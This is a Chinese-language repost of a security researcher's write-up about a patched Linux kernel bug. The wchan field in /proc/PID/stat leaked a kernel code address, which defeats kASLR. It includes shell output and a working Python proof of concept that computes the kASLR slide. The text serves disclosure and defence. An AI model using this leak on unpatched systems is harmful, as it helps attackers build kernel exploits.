利用Linux内核的信息泄露绕过kALSR防护机制
一、初步说明
由于已经在linux内核中修复，所以没有什么顾虑谈论这个漏洞。
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=b2f73922d119686323f14fbbe46587f863852328
据研究人员所知，主流发行版默认不开启kALSR防护机制。研究人员希望在不久的将来kALSR防护机制会成为Linux发行版和Android设备的主流，也会变得更加健壮，因为它使得内核的漏洞利用必须在信息泄露的基础上才能实现。与此同时，其他主流操作系统，如如Windows或OSX/iOS已经采用kALSR防护机制，为什么Linux总是慢人半拍？
总之，ASLR防护机制并不是安全的终极解决方案，正如本文接下来所讲述的，我们可以通过简单的信息泄露绕过kALSR防护机制。你可以阅读由spender撰写的 另一篇文章 来了解kALSR主题及其限制的一些思考。
研究人员曾多次看到@grsecurity在Twitter上提及类似漏洞，因此极有可能其他人在我之前已经熟悉这个漏洞。但是，Linux内核社区对安全的态度并不算出色，所以信息泄露压根不受关注。
二、正文
之前该研究人员在阅读Android系统的/proc文件系统时，wchan字段引起了他的注意。
WCHAN wait channel-某个特定进程正在等待事件（event）的地址。该简称好像会出现在带有-l选项的ps命令输出。你可以从用户空间读取“/proc/进程PID/stat”来获取进程wchan值。
所以wchan值会返回程序正在“等待”的代码地址。但是，这个描述是相当模糊的。如果进程处于内核地址空间中，它会为我们返回一个内核空间的地址吗？
答案是肯定的，正如下面看到的；
marco@marco-l:~/Documents$ cat /proc/2755/stat 2755 (sleep) S 2499 2755 2499 34817 2759 1077960704 124 0 0 0 0 0 0 0 20 0 1 0 82435 11673600 170 18446744073709551615 4194304 4218740 140722592633520 140722592633144 140073761328928 0 0 0 0 18446744071579755915 0 0 17 1 0 0 0 0 0 6319632 6320692 32489472 140722592637401 140722592637415 140722592637415 140722592641005 0 The value 18446744071579755915 it’s obviously a kernel code location since in hex is: >>> hex(18446744071579755915) '0xffffffff810de58bL' kASLR is not enabled by default on Ubuntu, at least 14.04, so we will have to add a “kaslr” to the kernel command line to enable it, you can find how to add stuff into the kernel command line on Google.
启动系统之后，我们运行一下PoC：
marco@marco-l:~/Documents$ python infoleak.py Leaking kernel pointers... leak: 0xffffffffb70de58b 18446744072485725579 kASLR slide: 0x36000000
三、工作原理
这个PoC非常简单，可以说是相当粗糙，但运行速度快，使用python语言编写，因为只需要fork进程，然后读取内容。正如上面提到的，“ /proc/进程pid/stat” 的wchan会透露代码在内核空间的哪个地址“等待”事件，因此我们的思路是：
（1）寻找某种方式让“等待”的位置固定下来 （2）通过wchan泄露ALSR值 （3）比较泄露值与已知的非偏移值 （3）输出内核的偏移值
关于（1），我们可以fork一个进程，然后让其休眠。我们可以读取该进程的"/proc/休眠进程pid/stat"，由于进程在内核地址空间处于休眠状态，其取值也是固定的。 关于（2），已经讨论如何实现，whcan是stat中已知位置的字段。 关于（3），我们可以通过在测试机上运行未开启kALSR防护机制的内核来获取非偏移值。
四、PoC
你需要编辑一下NON_SLID_VALUE，通过在关闭kALSR防护机制的目标内核上运行PoC获取非偏移值，例如修改成获取的十六进制数值： 0xffffffffb70de58b
import subprocess import time import sys import pprint PROC_PATH = "/proc/%d/stat" NON_SLID_VALUE = 0xffffffff810de58b def main(): sleepp = subprocess.Popen('sleep 100000'.split()) time.sleep(1) child_pid = sleepp.pid content = None with open(PROC_PATH %(child_pid), 'r') as f: content = f.read() if not content: print 'Unable to read stat from child' sys.exit(0) elements = content.split() print 'Leaking kernel pointers...' leak = int(elements[34]) print 'leak: 0x%x %d' %(leak, leak) print 'kASLR slide: 0x%x' %(leak - NON_SLID_VALUE) if __name__ == '__main__': main() 五、后记
如果存在什么错误、偏差、疑问及建议，可以随时与研究人员联系（留下原作者 Twitter ，请翻墙联系啊）。由于系统默认情况下未启用kALSR防护机制，所目前该缺陷的危害不是很大，研究人员也未投入太多时间及精力来验证所有情况和查看内核代码。
就随机性而言，kALSR的偏移似乎非常脆弱，研究人员尚未具体验证随机数是多少位的。但换个角度而言，在我们设备开启此防护机制总比没有好，起码这是迈向安全的开始。
要点：
Linux内核维护人员应该以更友好的态度面向安全社区。毕竟我们所有人都喜欢和使用Linux，也愿意让它变得更好。
*原文地址： marcograss.github.io ，FB资深作者Rabbit_Run整理报道，转载请注明来自FreeBuf黑客与极客（FreeBuf.COM）
正文到此结束
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